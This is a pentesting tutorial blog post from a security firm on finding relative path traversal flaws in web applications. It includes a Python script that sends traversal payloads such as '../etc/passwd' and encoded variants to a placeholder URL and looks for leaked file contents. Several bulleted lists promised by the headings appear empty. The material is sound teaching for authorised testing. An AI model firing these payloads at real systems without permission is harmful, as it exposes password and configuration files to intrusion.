Manual Testing for Relative Path Traversal Vulnerabilities: A Deep Dive

Welcome to another installment of the Learn Pentesting series from Numorian. In this post, we will dive deep into the manual testing techniques for detecting relative path traversal vulnerabilities in web applications. This guide is intended for penetration testers and security professionals who want to add rigorous manual testing techniques to their toolkit.


Overview

Relative Path Traversal (RPT) is a class of vulnerabilities that occur when a web application fails to properly sanitize user-supplied input used in file paths. This can allow attackers to navigate the file system and access sensitive files such as configuration files, password files, or even system logs. In this post, we will cover:


Understanding Relative Path Traversal

Relative path traversal vulnerabilities allow an attacker to manipulate file path references by injecting special characters—most commonly ../ (dot-dot-slash)—to traverse directories. Here’s a brief technical overview:

Understanding these fundamentals is essential before moving on to hands-on testing.


Setting Up a Testing Environment

Before testing any application for vulnerabilities, ensure that you have proper authorization. For practice, consider using a controlled environment or intentionally vulnerable applications like DVWA (Damn Vulnerable Web Application) or bWAPP.

Environment Checklist:


Manual Testing Techniques

Step 1: Identify Input Vectors

Start by analyzing the application to find parameters that accept file names or paths. Look for URL parameters (e.g., ?file=, ?doc=) or form inputs that reference file paths.

Step 2: Inject Traversal Sequences

Once you’ve identified potential vectors, manually inject traversal payloads into the parameter. Common payloads include:

Step 3: Observe the Response

After injecting each payload, observe the server’s response:

Step 4: Utilize a Proxy Tool

Using a proxy tool like Burp Suite allows you to modify requests on the fly and inspect responses in detail. This is particularly useful for:


Code Example: Automated Testing for Path Traversal

Below is a Python script that demonstrates how to automate the testing process for relative path traversal vulnerabilities. This script uses the requests library to iterate over a set of payloads and check the responses for signs of vulnerability.

import requests

# Base URL with a vulnerable parameter (modify as needed)
base_url = "http://target-website.com/vulnerable.php?file="

# List of payloads for testing traversal vulnerabilities
payloads = [
    "../etc/passwd",
    "..%2Fetc%2Fpasswd",
    "%2E%2E/%2E%2E/etc/passwd",
    "....//....//etc/passwd",
    "../windows/win.ini",          # For Windows-based servers
    "..\\..\\windows\\win.ini",    # Windows backslash notation
]

# Iterate over each payload and send the HTTP GET request
for payload in payloads:
    url = base_url + payload
    try:
        response = requests.get(url, timeout=5)
        # Check for common indicators in the response
        if response.status_code == 200:
            if "root:" in response.text or "[extensions]" in response.text or "for 16-bit app support" in response.text:
                print(f"[+] Possible vulnerability detected with payload: {payload}")
                print(f"URL: {url}")
            else:
                print(f"[-] Payload did not return expected result: {payload}")
        else:
            print(f"[-] Non-200 status code for payload {payload}: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[!] Request failed for payload {payload}: {e}")

Code Walkthrough:

Note: Modify base_url to match your target application. Always ensure you have permission before testing.


Interpreting the Results

When analyzing the responses:


Mitigation and Best Practices

While this post focuses on testing for vulnerabilities, it is equally important to understand mitigation techniques:

For developers and security professionals alike, understanding both sides of the equation—identifying vulnerabilities and applying robust mitigations—is key to improving overall security posture.


Conclusion

Relative path traversal vulnerabilities can have severe consequences if left unchecked. This deep dive has walked you through manual testing techniques, from identifying input vectors to injecting various payloads, and even provided a Python script to help automate the testing process. We hope this article adds valuable insights and practical skills to your penetration testing repertoire.

Stay tuned for more technical deep dives in our Learn Pentesting series, where we explore additional vulnerabilities and testing methodologies.

Happy Testing!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.